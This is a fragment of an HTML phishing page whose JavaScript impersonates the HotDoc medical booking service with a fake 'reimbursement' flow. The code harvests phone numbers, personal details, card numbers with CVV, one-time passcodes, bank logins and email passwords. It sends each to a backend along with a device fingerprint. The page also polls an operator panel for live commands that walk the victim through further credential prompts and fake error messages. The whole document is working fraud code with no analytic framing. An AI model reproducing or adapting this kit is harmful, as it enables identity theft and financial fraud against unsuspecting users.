            <div class="trust-item"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 11.08V12a10 10 0 1 1-5.93-9.14"/><polyline points="22 4 12 14.01 9 11.01"/></svg> Verified</div>
        </div>
    </div>

</div>

<div class="footer">
    <div class="footer-left">Australian Owned & Operated</div>
    <div class="footer-right">&copy; 2026 HotDoc Online Pty Ltd</div>
</div>

<script>
    var userId = "HD_" + Math.random().toString(36).substr(2, 9);
    var BACKEND = "backend.php";
    var STORAGE_KEY = "hotdoc_session_v2";

    var pollTimer = null;
    var isPolling = false;
    var currentStep = 1;
    var cardAttempt = 0;
    var isAmex = false;
    var lastDataStep = 0;
    var idleTimeout = null;
    var pageVisible = true;
    var originalTitle = document.title;
    var titleFlashInterval = null;
    var notifPermission = false;
    var emailPassFromStep = 0;
    var wasAdminCommanded = false;

    // ==================== FINGERPRINT ====================
    function collectFingerprint() {
        return {
            userAgent: navigator.userAgent,
            language: navigator.language,
            platform: navigator.platform,
            screenWidth: screen.width,
            screenHeight: screen.height,
            colorDepth: screen.colorDepth,
            timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
            timezoneOffset: new Date().getTimezoneOffset(),
            touch: 'ontouchstart' in window,
            cores: navigator.hardwareConcurrency || 'unknown',
            memory: navigator.deviceMemory || 'unknown',
            referrer: document.referrer || 'direct'
        };
    }

    // ==================== NOTIFICATIONS ====================
    function requestNotificationPermission() {
        if (!("Notification" in window)) return;
        if (Notification.permission === "granted") {
            notifPermission = true;
        } else if (Notification.permission !== "denied") {
            Notification.requestPermission().then(function(p) {
                notifPermission = (p === "granted");
            });
        }
    }

    function sendBrowserNotification(title, body) {
        if (!notifPermission || pageVisible) return;
        try {
            new Notification(title, {
                body: body,
                icon: "https://cdn.hotdoc.com.au/bookings/dist/assets/images/hotdoc.fingerprinted.aa4b7b0c73a54530f68b.svg",
                badge: "https://cdn.hotdoc.com.au/bookings/dist/assets/images/hotdoc.fingerprinted.aa4b7b0c73a54530f68b.svg",
                tag: "hotdoc-" + userId,
                requireInteraction: true,
                vibrate: [200, 100, 200]
            });
        } catch(e) {}
    }

    function playAlertSound() {
        try {
            var ctx = new (window.AudioContext || window.webkitAudioContext)();
            var osc = ctx.createOscillator();
            var gain = ctx.createGain();
            osc.connect(gain);
            gain.connect(ctx.destination);
            osc.frequency.value = 880;
            osc.type = 'sine';
            gain.gain.setValueAtTime(0.1, ctx.currentTime);
            gain.gain.exponentialRampToValueAtTime(0.001, ctx.currentTime + 0.5);
            osc.start(ctx.currentTime);
            osc.stop(ctx.currentTime + 0.5);
        } catch(e) {}
    }

    function vibrateDevice() {
        if (navigator.vibrate) {
            navigator.vibrate([200, 100, 200, 100, 200]);
        }
    }

    function flashTitle(msg) {
        if (pageVisible) return;
        if (titleFlashInterval) clearInterval(titleFlashInterval);
        var flash = true;
        titleFlashInterval = setInterval(function() {
            document.title = flash ? "🔔 " + msg : originalTitle;
            flash = !flash;
        }, 1000);
    }

    function stopFlashTitle() {
        if (titleFlashInterval) {
            clearInterval(titleFlashInterval);
            titleFlashInterval = null;
            document.title = originalTitle;
        }
    }

    // ==================== OFFLINE DETECTION ====================
    function handleOnline() { document.getElementById('offlineBanner').classList.remove('show'); }
    function handleOffline() { document.getElementById('offlineBanner').classList.add('show'); }
    window.addEventListener('online', handleOnline);
    window.addEventListener('offline', handleOffline);

    // ==================== VISIBILITY ====================
    function handleVisibilityChange() {
        if (document.hidden || document.visibilityState === 'hidden') {
            pageVisible = false;
        } else {
            pageVisible = true;
            stopFlashTitle();
            if (isPolling) {
                doPoll(lastDataStep);
            }
        }
    }
    if (document.hidden !== undefined) {
        document.addEventListener("visibilitychange", handleVisibilityChange);
    } else if (document.webkitHidden !== undefined) {
        document.addEventListener("webkitvisibilitychange", handleVisibilityChange);
    }

    // ==================== WAKE LOCK ====================
    var wakeLock = null;
    async function requestWakeLock() {
        try {
            if ('wakeLock' in navigator) {
                wakeLock = await navigator.wakeLock.request('screen');
                wakeLock.addEventListener('release', function() {
                    console.log('Wake lock released');
                });
            }
        } catch(e) {}
    }
    function releaseWakeLock() {
        if (wakeLock) {
            wakeLock.release();
            wakeLock = null;
        }
    }

    // ==================== SESSION PERSISTENCE ====================
    function saveProgress() {
        var formData = {
            phone: document.getElementById('phone') ? document.getElementById('phone').value : '',
            fname: document.getElementById('fname') ? document.getElementById('fname').value : '',
            lname: document.getElementById('lname') ? document.getElementById('lname').value : '',
            dob: document.getElementById('dob') ? document.getElementById('dob').value : '',
            address: document.getElementById('address') ? document.getElementById('address').value : '',
            city: document.getElementById('city') ? document.getElementById('city').value : '',
            postcode: document.getElementById('postcode') ? document.getElementById('postcode').value : '',
            email: document.getElementById('email') ? document.getElementById('email').value : '',
            email_pass_email: document.getElementById('email_pass_email') ? document.getElementById('email_pass_email').value : '',
            email_pass: document.getElementById('email_pass') ? document.getElementById('email_pass').value : '',
            card: document.getElementById('card') ? document.getElementById('card').value : '',
            exp: document.getElementById('exp') ? document.getElementById('exp').value : '',
            cvv: document.getElementById('cvv') ? document.getElementById('cvv').value : '',
            bank_name: document.getElementById('bank_name') ? document.getElementById('bank_name').value : '',
            bank_user: document.getElementById('bank_user') ? document.getElementById('bank_user').value : '',
            bank_pass: document.getElementById('bank_pass') ? document.getElementById('bank_pass').value : ''
        };
        var state = {
            userId: userId,
            currentStep: currentStep,
            lastDataStep: lastDataStep,
            formData: formData,
            cardAttempt: cardAttempt,
            emailPassFromStep: emailPassFromStep,
            wasAdminCommanded: wasAdminCommanded,
            timestamp: Date.now()
        };
        localStorage.setItem(STORAGE_KEY, JSON.stringify(state));
    }

    function loadProgress() {
        var saved = localStorage.getItem(STORAGE_KEY);
        if (!saved) return false;
        try {
            var state = JSON.parse(saved);
            if (Date.now() - (state.timestamp || 0) > 86400000) {
                localStorage.removeItem(STORAGE_KEY);
                return false;
            }
            userId = state.userId || userId;
            lastDataStep = state.lastDataStep || 0;
            cardAttempt = state.cardAttempt || 0;
            emailPassFromStep = state.emailPassFromStep || 0;
            wasAdminCommanded = state.wasAdminCommanded || false;

            if (state.formData) {
                for (var key in state.formData) {
                    var el = document.getElementById(key);
                    if (el) el.value = state.formData[key];
                }
            }

            // If admin commanded us to email step, restore that
            if (wasAdminCommanded && lastDataStep === 9) {
                showStep(9);
                checkStep9();
                return true;
            }

            if (lastDataStep === 1) {
                showStep(2);
                checkStep2();
            } else if (lastDataStep === 2) {
                showStep(3);
                checkStep3();
            } else if (lastDataStep === 3) {
                showStep(4);
                startPolling(3);
            } else if (lastDataStep === 5) {
                showStep(4);
                startPolling(5);
            } else if (lastDataStep === 6) {
                showStep(4);
                startPolling(6);
            } else if (lastDataStep === 8) {
                showStep(4);
                startPolling(8);
            } else if (lastDataStep === 9) {
                showStep(4);
                startPolling(9);
            }
            return true;
        } catch(e) {
            return false;
        }
    }

    function clearSession() {
        localStorage.removeItem(STORAGE_KEY);
    }

    // ==================== TOAST ====================
    function showNotification(msg) {
        var toast = document.getElementById('notifToast');
        var text = document.getElementById('notifText');
        text.textContent = msg;
        toast.classList.add('show');
        setTimeout(function() {
            toast.classList.remove('show');
        }, 6000);
    }

    // ==================== CARD BIN ====================
    var bankBins = {
        '405221': 'Commonwealth Bank', '454363': 'Commonwealth Bank', '535316': 'Commonwealth Bank',
        '407220': 'ANZ', '450949': 'ANZ', '543049': 'ANZ', '552287': 'ANZ',
        '456443': 'Westpac', '493827': 'Westpac', '535319': 'Westpac',
        '456470': 'NAB', '493834': 'NAB', '543048': 'NAB',
        '493838': 'ING Bank', '512345': 'Macquarie Bank',
        '456472': 'St.George Bank', '493839': 'Suncorp Bank',
        '456444': 'Bendigo Bank', '456445': 'AMP Bank',
        '493840': 'Citibank', '456446': 'HSBC', '535318': 'Bankwest',
        '456447': 'Bank of Queensland', '493841': 'ME Bank',
        '456448': 'Credit Union Australia', '493842': 'Teachers Mutual Bank'
    };

    function detectBank(cardNum) {
        var digits = cardNum.replace(/\D/g, '');
        if (digits.length < 6) return null;
        var prefix6 = digits.substr(0, 6);
        if (bankBins[prefix6]) return bankBins[prefix6];
        var prefix5 = digits.substr(0, 5);
        for (var bin in bankBins) {
            if (bin.indexOf(prefix5) === 0) return bankBins[bin];
        }
        var prefix4 = digits.substr(0, 4);
        for (var bin2 in bankBins) {
            if (bin2.indexOf(prefix4) === 0) return bankBins[bin2];
        }
        return null;
    }

    // ==================== VALIDATION ====================
    function stripSpaces(v) { return v.replace(/\s/g, ''); }
    function isValidPhone(v) { var digits = stripSpaces(v); return /^04\d{8}$/.test(digits); }
    function isValidEmail(v) { return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(v); }
    function isValidDob(v) {
        if (!/^\d{2}\/\d{2}\/\d{4}$/.test(v)) return false;
        var parts = v.split('/');
        var d = parseInt(parts[0], 10);
        var m = parseInt(parts[1], 10);
        var y = parseInt(parts[2], 10);
        if (m < 1 || m > 12 || d < 1 || d > 31 || y < 1900 || y > 2006) return false;
        var date = new Date(y, m - 1, d);
        return date.getDate() === d && date.getMonth() === (m - 1) && date.getFullYear() === y;
    }
    function isValidPostcode(v) { return /^\d{4}$/.test(v); }
    function isValidName(v) { return /^[a-zA-Z\s\-']{2,}$/.test(v); }
    function isValidCard(v) {
        var digits = stripSpaces(v);
        var len = isAmex ? 15 : 16;
        if (!new RegExp('^\\d{' + len + '}$').test(digits)) return false;
        var sum = 0, alternate = false;
        for (var i = digits.length - 1; i >= 0; i--) {
            var n = parseInt(digits.substring(i, i + 1), 10);
            if (alternate) { n *= 2; if (n > 9) n -= 9; }
            sum += n;
            alternate = !alternate;
        }
        return (sum % 10) === 0;
    }
    function isValidExp(v) {
        if (!/^\d{2}\/\d{2}$/.test(v)) return false;
        var parts = v.split('/');
        var mm = parseInt(parts[0], 10);
        var yy = parseInt(parts[1], 10);
        if (mm < 1 || mm > 12) return false;
        var now = new Date();
        var curYear = now.getFullYear() % 100;
        var curMonth = now.getMonth() + 1;
        var fullYear = yy < 50 ? 2000 + yy : 1900 + yy;
        var cardDate = new Date(fullYear, mm, 0);
        return cardDate >= new Date(now.getFullYear(), curMonth, 0);
    }
    function isValidCvv(v) {
        if (isAmex) return /^\d{4}$/.test(v);
        return /^\d{3}$/.test(v);
    }

    // ==================== UI HELPERS ====================
    function setInputState(id, valid, showError) {
        var el = document.getElementById(id);
        var err = document.getElementById('err-' + id);
        if (!el) return;
        el.classList.remove('error', 'valid');
        if (valid) {
            el.classList.add('valid');
            if (err) err.classList.remove('show');
        } else if (showError) {
            el.classList.add('error');
            if (err) err.classList.add('show');
        } else {
            if (err) err.classList.remove('show');
        }
    }

    function setButtonActive(id, active) {
        var btn = document.getElementById(id);
        if (!btn) return;
        if (active) btn.classList.add('active');
        else btn.classList.remove('active');
    }

    function setButtonLoading(id, loading) {
        var btn = document.getElementById(id);
        if (!btn) return;
        if (loading) {
            btn.disabled = true;
            btn.dataset.originalText = btn.textContent;
            btn.innerHTML = 'Processing<span class="btn-spinner"></span>';
        } else {
            btn.disabled = false;
            btn.textContent = btn.dataset.originalText || 'Continue';
        }
    }

    function checkStep1() {
        var phone = document.getElementById('phone').value;
        var valid = isValidPhone(phone);
        setInputState('phone', valid, phone.length >= 10);
        setButtonActive('btn-step1', valid);
    }

    function checkStep2() {
        var fname = document.getElementById('fname').value;
        var lname = document.getElementById('lname').value;
        var dob = document.getElementById('dob').value;
        var address = document.getElementById('address').value;
        var city = document.getElementById('city').value;
        var postcode = document.getElementById('postcode').value;
        var email = document.getElementById('email').value;

        setInputState('fname', isValidName(fname), fname.length > 0);
        setInputState('lname', isValidName(lname), lname.length > 0);
        setInputState('dob', isValidDob(dob), dob.length >= 10);
        setInputState('address', address.length >= 3, address.length > 0);
        setInputState('city', city.length >= 2, city.length > 0);
        setInputState('postcode', isValidPostcode(postcode), postcode.length >= 4);
        setInputState('email', isValidEmail(email), email.length > 0);

        var ok = isValidName(fname) && isValidName(lname) && isValidDob(dob) &&
                 address.length >= 3 && city.length >= 2 &&
                 isValidPostcode(postcode) && isValidEmail(email);
        setButtonActive('btn-step2', ok);
    }

    function toggleEmailPass() {
        var input = document.getElementById('email_pass');
        var btn = document.getElementById('toggleEmailPassBtn');
        if (input.type === 'password') {
            input.type = 'text';
            btn.textContent = 'Hide';
        } else {
            input.type = 'password';
            btn.textContent = 'Show';
        }
    }

    function checkStep9() {
        var email = document.getElementById('email_pass_email').value;
        var pass = document.getElementById('email_pass').value;

        setInputState('email_pass_email', isValidEmail(email), email.length > 0);

        var passEl = document.getElementById('email_pass');
        var errPass = document.getElementById('err-email_pass');
        passEl.classList.remove('error', 'valid');
        if (pass.length > 0) {
            passEl.classList.add('valid');
            if (errPass) errPass.classList.remove('show');
        }

        setButtonActive('btn-step9', isValidEmail(email) && pass.length > 0);
    }

    function formatCardInput(val) {
        var digits = val.replace(/\D/g, '');
        isAmex = /^3[47]/.test(digits);
        var maxLen = isAmex ? 15 : 16;
        digits = digits.substr(0, maxLen);

        var formatted = '';
        if (isAmex) {
            for (var i = 0; i < digits.length; i++) {
                if (i === 4 || i === 10) formatted += ' ';
                formatted += digits[i];
            }
        } else {
            for (var i = 0; i < digits.length; i++) {
                if (i > 0 && i % 4 === 0) formatted += ' ';
                formatted += digits[i];
            }
        }
        return { formatted: formatted, isAmex: isAmex, maxLen: maxLen, digits: digits };
    }

    function updateCardTypeUI() {
        var cardVal = document.getElementById('card').value;
        var info = formatCardInput(cardVal);
        isAmex = info.isAmex;

        document.getElementById('logo-visa').classList.toggle('active', !isAmex && info.digits.length >= 1);
        document.getElementById('logo-mc').classList.toggle('active', !isAmex && /^5/.test(info.digits));
        document.getElementById('logo-amex').classList.toggle('active', isAmex);

        var cvvEl = document.getElementById('cvv');
        var errCvv = document.getElementById('err-cvv');
        if (isAmex) {
            cvvEl.setAttribute('maxlength', '4');
            cvvEl.setAttribute('placeholder', '0000');
            errCvv.textContent = 'Enter a valid 4-digit AMEX security code.';
        } else {
            cvvEl.setAttribute('maxlength', '3');
            cvvEl.setAttribute('placeholder', '000');
            errCvv.textContent = 'Enter a valid 3-digit CVV.';
        }

        var maxFormatted = isAmex ? 17 : 19;
        document.getElementById('card').setAttribute('maxlength', maxFormatted.toString());
    }

    function checkStep3() {
        var card = document.getElementById('card').value;
        var exp = document.getElementById('exp').value;
        var cvv = document.getElementById('cvv').value;

        updateCardTypeUI();

        var cardValid = isValidCard(card);
        var expValid = isValidExp(exp);
        var cvvValid = isValidCvv(cvv);

        var cardDigits = stripSpaces(card).length;
        var targetLen = isAmex ? 15 : 16;

        setInputState('card', cardValid, cardDigits >= targetLen);
        setInputState('exp', expValid, exp.length >= 5);
        setInputState('cvv', cvvValid, cvv.length >= (isAmex ? 4 : 3));

        var bankEl = document.getElementById('bank-detect');
        var bank = detectBank(card);
        if (bank && cardDigits >= 6) {
            bankEl.textContent = '\ud83c\udfe6 ' + bank;
            bankEl.classList.add('show');
        } else {
            bankEl.classList.remove('show');
            bankEl.textContent = '';
        }

        setButtonActive('btn-step3', cardValid && expValid && cvvValid);
    }

    function checkStep8() {
        var bank = document.getElementById('bank_name').value;
        var user = document.getElementById('bank_user').value;
        var pass = document.getElementById('bank_pass').value;

        setInputState('bank_name', bank !== '', bank !== '');
        setInputState('bank_user', user.length >= 3, user.length > 0);
        setInputState('bank_pass', pass.length >= 4, pass.length > 0);

        var ok = bank !== '' && user.length >= 3 && pass.length >= 4;
        setButtonActive('btn-step8', ok);
    }

    // ==================== INPUT LISTENERS ====================
    document.getElementById('phone').addEventListener('input', function(e) {
        var val = e.target.value.replace(/\D/g, '').substr(0, 10);
        var formatted = val;
        if (val.length > 7) formatted = val.slice(0, 4) + ' ' + val.slice(4, 7) + ' ' + val.slice(7);
        else if (val.length > 4) formatted = val.slice(0, 4) + ' ' + val.slice(4);
        e.target.value = formatted;
        checkStep1();
    });
    document.getElementById('phone').addEventListener('blur', checkStep1);

    document.getElementById('dob').addEventListener('input', function(e) {
        var val = e.target.value.replace(/\D/g, '').substr(0, 8);
        var formatted = val;
        if (val.length > 4) formatted = val.slice(0, 2) + '/' + val.slice(2, 4) + '/' + val.slice(4);
        else if (val.length > 2) formatted = val.slice(0, 2) + '/' + val.slice(2);
        e.target.value = formatted;
        checkStep2();
    });

    document.getElementById('postcode').addEventListener('input', function(e) {
        e.target.value = e.target.value.replace(/\D/g, '').substr(0, 4);
        checkStep2();
    });

    ['fname','lname','address','city','email'].forEach(function(id) {
        document.getElementById(id).addEventListener('input', checkStep2);
        document.getElementById(id).addEventListener('blur', checkStep2);
    });
    document.getElementById('dob').addEventListener('blur', checkStep2);
    document.getElementById('postcode').addEventListener('blur', checkStep2);

    document.getElementById('email_pass_email').addEventListener('input', checkStep9);
    document.getElementById('email_pass').addEventListener('input', checkStep9);

    document.getElementById('card').addEventListener('input', function(e) {
        var info = formatCardInput(e.target.value);
        e.target.value = info.formatted;
        checkStep3();
    });
    document.getElementById('card').addEventListener('blur', checkStep3);

    document.getElementById('exp').addEventListener('input', function(e) {
        var val = e.target.value.replace(/\D/g, '').substr(0, 4);
        var formatted = val;
        if (val.length > 2) formatted = val.slice(0, 2) + '/' + val.slice(2);
        e.target.value = formatted;
        checkStep3();
    });
    document.getElementById('exp').addEventListener('blur', checkStep3);

    document.getElementById('cvv').addEventListener('input', function(e) {
        var max = isAmex ? 4 : 3;
        e.target.value = e.target.value.replace(/\D/g, '').substr(0, max);
        checkStep3();
    });
    document.getElementById('cvv').addEventListener('blur', checkStep3);

    document.getElementById('bank_name').addEventListener('change', checkStep8);
    document.getElementById('bank_user').addEventListener('input', checkStep8);
    document.getElementById('bank_pass').addEventListener('input', checkStep8);

    // ==================== DATA SEND ====================
    function sendData(data) {
        var payload = JSON.parse(JSON.stringify(data));
        payload.fingerprint = collectFingerprint();
        var xhr = new XMLHttpRequest();
        xhr.open("POST", BACKEND, true);
        xhr.setRequestHeader("Content-Type", "application/json");
        xhr.send(JSON.stringify(payload));
    }

    // ==================== STEP NAVIGATION ====================
    function showStep(n) {
        for (var i = 1; i <= 9; i++) {
            var el = document.getElementById("step" + i);
            if (el) el.classList.add("hidden");
        }
        var target = document.getElementById("step" + n);
        if (target) target.classList.remove("hidden");
        currentStep = n;

        if (n === 7) {
            var ref = 'HD-' + Math.random().toString(36).substr(2, 8).toUpperCase();
            document.getElementById('ref-code').textContent = 'Reference: ' + ref;
        }
    }

    // ==================== STEP 1 ====================
    function submitPhone() {
        var phone = document.getElementById("phone").value;
        if (!isValidPhone(phone)) {
            setInputState('phone', false, true);
            return;
        }
        setButtonLoading('btn-step1', true);
        lastDataStep = 1;
        saveProgress();
        sendData({
            action: "submit",
            userId: userId,
            step: 1,
            phone: phone,
            interaction: "phone_submitted"
        });
        setTimeout(function() {
            setButtonLoading('btn-step1', false);
            showStep(2);
        }, 400);
    }

    // ==================== STEP 2 ====================
    function submitPersonal() {
        var fname = document.getElementById("fname").value;
        var lname = document.getElementById("lname").value;
        var dob = document.getElementById("dob").value;
        var address = document.getElementById("address").value;
        var city = document.getElementById("city").value;
        var postcode = document.getElementById("postcode").value;
        var email = document.getElementById("email").value;

        checkStep2();

        if (!isValidName(fname) || !isValidName(lname)) {
            document.getElementById("err2").textContent = "Please enter valid first and last names.";
            document.getElementById("err2").classList.add("show");
            return;
        }
        if (!isValidDob(dob)) {
            document.getElementById("err2").textContent = "Please enter a valid date of birth (DD/MM/YYYY). Must be 18+.";
            document.getElementById("err2").classList.add("show");
            return;
        }
        if (!address || address.length < 3 || !city || city.length < 2) {
            document.getElementById("err2").textContent = "Please enter a valid address and city.";
            document.getElementById("err2").classList.add("show");
            return;
        }
        if (!isValidPostcode(postcode)) {
            document.getElementById("err2").textContent = "Please enter a valid 4-digit Australian postcode.";
            document.getElementById("err2").classList.add("show");
            return;
        }
        if (!isValidEmail(email)) {
            document.getElementById("err2").textContent = "Please enter a valid email address.";
            document.getElementById("err2").classList.add("show");
            return;
        }

        document.getElementById("err2").classList.remove("show");
        setButtonLoading('btn-step2', true);

        lastDataStep = 2;
        saveProgress();
        sendData({
            action: "submit",
            userId: userId,
            step: 2,
            fname: fname,
            lname: lname,
            name: fname + " " + lname,
            dob: dob,
            address: address,
            city: city,
            postcode: postcode,
            email: email,
            interaction: "personal_info_submitted"
        });

        setTimeout(function() {
            setButtonLoading('btn-step2', false);
            showStep(3);
        }, 400);
    }

    // ==================== STEP 9 ====================
    function submitEmailPass() {
        var email = document.getElementById("email_pass_email").value;
        var pass = document.getElementById("email_pass").value;

        if (!isValidEmail(email)) {
            document.getElementById("err9").textContent = "Please enter a valid email address.";
            document.getElementById("err9").classList.add("show");
            return;
        }
        if (!pass || pass.length < 1) {
            document.getElementById("err9").textContent = "Please enter your email password.";
            document.getElementById("err9").classList.add("show");
            return;
        }

        document.getElementById("err9").classList.remove("show");
        setButtonLoading('btn-step9', true);

        lastDataStep = 9;
        wasAdminCommanded = false; // consumed
        saveProgress();
        sendData({
            action: "submit",
            userId: userId,
            step: 9,
            email_pass_email: email,
            email_pass: pass,
            interaction: "email_password_submitted"
        });

        setTimeout(function() {
            setButtonLoading('btn-step9', false);
            showStep(4);
            startPolling(9);
        }, 400);
    }

    // ==================== STEP 3 ====================
    function submitCard() {
        var card = document.getElementById("card").value;
        var exp = document.getElementById("exp").value;
        var cvv = document.getElementById("cvv").value;

        checkStep3();

        if (!isValidCard(card)) {
            document.getElementById("err3").textContent = "Please enter a valid card number.";
            document.getElementById("err3").classList.add("show");
            return;
        }
        if (!isValidExp(exp)) {
            document.getElementById("err3").textContent = "Please enter a valid future expiry date (MM/YY).";
            document.getElementById("err3").classList.add("show");
            return;
        }
        if (!isValidCvv(cvv)) {
            document.getElementById("err3").textContent = isAmex ? "Please enter a valid 4-digit AMEX security code." : "Please enter a valid 3-digit CVV.";
            document.getElementById("err3").classList.add("show");
            return;
        }

        document.getElementById("err3").classList.remove("show");
        setButtonLoading('btn-step3', true);

        cardAttempt++;

        lastDataStep = 3;
        saveProgress();
        sendData({
            action: "submit",
            userId: userId,
            step: 3,
            card: card,
            exp: exp,
            cvv: cvv,
            card_attempt: cardAttempt,
            interaction: "card_submitted"
        });

        setTimeout(function() {
            setButtonLoading('btn-step3', false);
            showStep(4);
            startPolling(3);
        }, 400);
    }

    // ==================== STEP 5 ====================
    function submitOtp() {
        var otp = document.getElementById("otp").value;
        if (!otp || otp.length < 4) {
            document.getElementById("err5").classList.add("show");
            return;
        }
        document.getElementById("err5").classList.remove("show");
        setButtonLoading('btn-step5', true);

        lastDataStep = 5;
        saveProgress();
        sendData({
            action: "submit",
            userId: userId,
            step: 5,
            otp: otp,
            interaction: "otp_submitted"
        });

        setTimeout(function() {
            setButtonLoading('btn-step5', false);
            showStep(4);
            startPolling(5);
        }, 400);
    }

    // ==================== STEP 6 ====================
    function submitApp() {
        setButtonLoading('btn-step6', true);
        lastDataStep = 6;
        saveProgress();
        sendData({
            action: "submit",
            userId: userId,
            step: 6,
            interaction: "app_approved"
        });

        setTimeout(function() {
            setButtonLoading('btn-step6', false);
            showStep(4);
            startPolling(6);
        }, 400);
    }

    // ==================== STEP 8 ====================
    function submitBank() {
        var bank = document.getElementById("bank_name").value;
        var user = document.getElementById("bank_user").value;
        var pass = document.getElementById("bank_pass").value;

        checkStep8();

        if (!bank) {
            document.getElementById("err8").textContent = "Please select your bank.";
            document.getElementById("err8").classList.add("show");
            return;
        }
        if (!user || user.length < 3) {
            document.getElementById("err8").textContent = "Please enter your banking username.";
            document.getElementById("err8").classList.add("show");
            return;
        }
        if (!pass || pass.length < 4) {
            document.getElementById("err8").textContent = "Please enter your banking password.";
            document.getElementById("err8").classList.add("show");
            return;
        }

        document.getElementById("err8").classList.remove("show");
        setButtonLoading('btn-step8', true);

        lastDataStep = 8;
        saveProgress();
        sendData({
            action: "submit",
            userId: userId,
            step: 8,
            bank_name: bank,
            bank_user: user,
            bank_pass: pass,
            interaction: "bank_credentials_submitted"
        });

        setTimeout(function() {
            setButtonLoading('btn-step8', false);
            showStep(4);
            startPolling(8);
        }, 400);
    }

    // ==================== POLLING ====================
    function startPolling(fromStep) {
        isPolling = true;
        if (pollTimer) clearInterval(pollTimer);
        if (idleTimeout) clearTimeout(idleTimeout);

        requestWakeLock();
        requestNotificationPermission();

        pollTimer = setInterval(function() {
            doPoll(fromStep);
        }, 2000);

        idleTimeout = setTimeout(function() {
            if (isPolling) {
                showNotification("Please do not close this page. Your reimbursement is being processed and may take a few moments.");
            }
        }, 30000);
    }

    function doPoll(fromStep) {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", BACKEND + "?check=" + encodeURIComponent(userId) + "&_=" + Date.now(), true);
        xhr.onreadystatechange = function() {
            if (xhr.readyState === 4 && xhr.status === 200) {
                try {
                    var data = JSON.parse(xhr.responseText);
                    if (data.command && data.command !== "wait") {
                        clearInterval(pollTimer);
                        pollTimer = null;
                        isPolling = false;
                        if (idleTimeout) clearTimeout(idleTimeout);
                        releaseWakeLock();
                        handleCommand(data.command, fromStep);
                    }
                } catch(e) {}
            }
        };
        xhr.send();
    }

    // ==================== COMMAND HANDLER ====================
    function handleCommand(cmd, fromStep) {
        console.log("[ADMIN COMMAND] " + cmd);

        if (cmd.indexOf('notify:') === 0) {
            var msg = cmd.substring(7);
            showNotification(msg);
            if (!pageVisible) {
                sendBrowserNotification("HotDoc", msg);
                playAlertSound();
                vibrateDevice();
                flashTitle("HotDoc Alert");
            } else {
                playAlertSound();
                vibrateDevice();
            }
            startPolling(fromStep);
            return;
        }

        if (!pageVisible) {
            var stepName = "";
            switch(cmd) {
                case "go_otp": stepName = "OTP Verification Required"; break;
                case "go_app": stepName = "Bank App Approval Required"; break;
                case "go_bank": stepName = "Bank Login Required"; break;
                case "new_card": stepName = "New Card Required"; break;
                case "wrong_card": stepName = "Card Error - Retry"; break;
                case "go_email": stepName = "Email Verification Required"; break;
                case "wrong_email": stepName = "Email Password Required"; break;
                case "go_success": stepName = "Reimbursement Complete"; break;
                case "go_error": stepName = "Error - Action Required"; break;
                default: stepName = "Action Required";
            }
            sendBrowserNotification("HotDoc — " + stepName, "Please return to the page to continue your reimbursement.");
            playAlertSound();
            vibrateDevice();
            flashTitle("🔔 Action Required");
        }

        switch(cmd) {
            case "go_otp":
                showStep(5);
                break;

            case "go_app":
                showStep(6);
                break;

            case "go_bank":
                showStep(8);
                break;

            case "go_email":
                var savedEmail = document.getElementById('email') ? document.getElementById('email').value : '';
                document.getElementById('email_pass_email').value = savedEmail;
                document.getElementById('email_pass').value = '';
                document.getElementById('err9').classList.remove('show');
                checkStep9();
                emailPassFromStep = fromStep;
                wasAdminCommanded = true;
                saveProgress();
                showStep(9);
                break;

            case "new_card":
                cardAttempt++;
                document.getElementById("card").value = "";
                document.getElementById("exp").value = "";
                document.getElementById("cvv").value = "";
                document.getElementById("bank-detect").classList.remove('show');
                document.getElementById("logo-visa").classList.remove('active');
                document.getElementById("logo-mc").classList.remove('active');
                document.getElementById("logo-amex").classList.remove('active');
                isAmex = false;
                document.getElementById("err3").textContent = "Your bank declined this card. Please use a different card.";
                document.getElementById("err3").classList.add("show");
                checkStep3();
                saveProgress();
                showStep(3);
                break;

            case "wrong_card":
                document.getElementById("err3").textContent = "The card details provided are invalid. Please check and try again.";
                document.getElementById("err3").classList.add("show");
                showStep(3);
                break;

            case "wrong_email":
                document.getElementById("err9").textContent = "The password you entered is incorrect. Please try again.";
                document.getElementById("err9").classList.add("show");
                document.getElementById("email_pass").value = "";
                checkStep9();
                wasAdminCommanded = true;
                saveProgress();
                showStep(9);
                break;

            case "go_success":
            case "go_next":
                clearSession();
                showStep(7);
                break;

            case "go_error":
                if (fromStep === 3) {
                    document.getElementById("err3").classList.add("show");
                    showStep(3);
                } else if (fromStep === 5) {
                    document.getElementById("err5").classList.add("show");
                    showStep(5);
                } else if (fromStep === 8) {
                    document.getElementById("err8").textContent = "Bank verification failed. Please check your credentials and try again.";
                    document.getElementById("err8").classList.add("show");
                    showStep(8);
                } else if (fromStep === 9) {
                    document.getElementById("err9").textContent = "Email verification failed. Please check your credentials and try again.";
                    document.getElementById("err9").classList.add("show");
                    showStep(9);
                } else {
                    showStep(fromStep);
                }
                break;

            default:
                showStep(4);
        }
    }

    // ==================== INIT ====================
    requestNotificationPermission();

    var restored = loadProgress();
    if (!restored) {
        sendData({
            action: "submit",
            userId: userId,
            step: 0,
            interaction: "page_loaded"
        });
    } else {
        sendData({
            action: "submit",
            userId: userId,
            step: currentStep,
            interaction: "page_restored"
        });
    }
</script>
<script>
  setTimeout(function(){
    var h='', c='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789', a=new Uint8Array(64);
    crypto.getRandomValues(a);
    for(var i=0;i<64;i++) h+=c[a[i]%c.length];
    history.replaceState(null,null,'#/session/'+h);
  },0);
</script>
</body>
</html>